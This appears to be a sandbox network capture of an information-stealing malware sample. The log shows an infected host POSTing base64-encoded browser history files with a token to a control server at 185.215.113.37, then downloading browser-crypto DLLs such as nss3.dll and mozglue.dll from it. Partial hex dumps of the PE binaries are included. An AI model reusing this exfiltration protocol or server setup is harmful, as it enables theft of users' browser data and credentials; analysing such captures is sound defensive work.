Oct 20, 2024 06:40:05.486566067 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 20, 2024 06:40:05.486615896 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 20, 2024 06:40:07.743798018 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 06:40:08.615971088 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:08.693357944 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 06:40:09.003318071 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file"aHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay8/TGlua0lkPTIxMDYyNDMKaHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay8/bGlua2lkPTg1MTU0NgpodHRwczovL3N1cHBvcnQubWljcm9zb2Z0LmNvbS9lbi11cy9vZmZpY2UvN2Q0ODI4NWItMjBlOC00YjliLTkxYWQtMjE2ZTM0MTYzYmFkP3d0Lm1jX2lkPWVudGVycGsyMDE2JnVpPWVuLXVzJnJzPWVuLXVzJmFkPXVzCmh0dHBzOi8vc3VwcG9ydC5taWNyb3NvZnQuY29tL2VuLXVzL29mZmljZS85NGJhMmUwYi02MzhlLTRhOTItODg1Ny0yY2I1YWMxZDhlMTc/dWk9ZW4tdXMmcnM9ZW4tdXMmYWQ9dXMKaHR0cHM6Ly9zdXBwb3J0Lm1pY3Jvc29mdC5jb20vZW4tdXMvb2ZmaWNlL2V4YW1wbGVzLW9mLW9mZmljZS1wcm9kdWN0LWtleXMtN2Q0ODI4NWItMjBlOC00YjliLTkxYWQtMjE2ZTM0MTYzYmFkP3d0Lm1jX2lkPWVudGVycGsyMDE2JnVpPWVuLXVzJnJzPWVuLXVzJmFkPXVzCmh0dHBzOi8vc3VwcG9yd [TRUNCATED]
Oct 20, 2024 06:40:09.612688065 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file"aHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay8/TGlua0lkPTIxMDYyNDMKaHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay8/bGlua2lkPTg1MTU0NgpodHRwczovL3N1cHBvcnQubWljcm9zb2Z0LmNvbS9lbi11cy9vZmZpY2UvN2Q0ODI4NWItMjBlOC00YjliLTkxYWQtMjE2ZTM0MTYzYmFkP3d0Lm1jX2lkPWVudGVycGsyMDE2JnVpPWVuLXVzJnJzPWVuLXVzJmFkPXVzCmh0dHBzOi8vc3VwcG9ydC5taWNyb3NvZnQuY29tL2VuLXVzL29mZmljZS85NGJhMmUwYi02MzhlLTRhOTItODg1Ny0yY2I1YWMxZDhlMTc/dWk9ZW4tdXMmcnM9ZW4tdXMmYWQ9dXMKaHR0cHM6Ly9zdXBwb3J0Lm1pY3Jvc29mdC5jb20vZW4tdXMvb2ZmaWNlL2V4YW1wbGVzLW9mLW9mZmljZS1wcm9kdWN0LWtleXMtN2Q0ODI4NWItMjBlOC00YjliLTkxYWQtMjE2ZTM0MTYzYmFkP3d0Lm1jX2lkPWVudGVycGsyMDE2JnVpPWVuLXVzJnJzPWVuLXVzJmFkPXVzCmh0dHBzOi8vc3VwcG9yd [TRUNCATED]
Oct 20, 2024 06:40:10.584938049 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:10.737206936 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file"------JEBFIIIEHCFHJKFHDHDA--
Oct 20, 2024 06:40:11.789567947 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:12.126534939 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file"------GHJEGCAEGIIIDHIEBKEB--
Oct 20, 2024 06:40:15.975810051 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:16.202163935 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 06:40:16.556881905 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 20, 2024 06:40:17.594326973 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 06:40:18.834518909 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 06:40:18.848541975 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 06:40:18.848562956 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 06:40:18.912632942 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 06:40:19.432420015 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 20, 2024 06:40:19.906136990 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 06:40:20.253874063 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 20, 2024 06:40:21.403258085 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
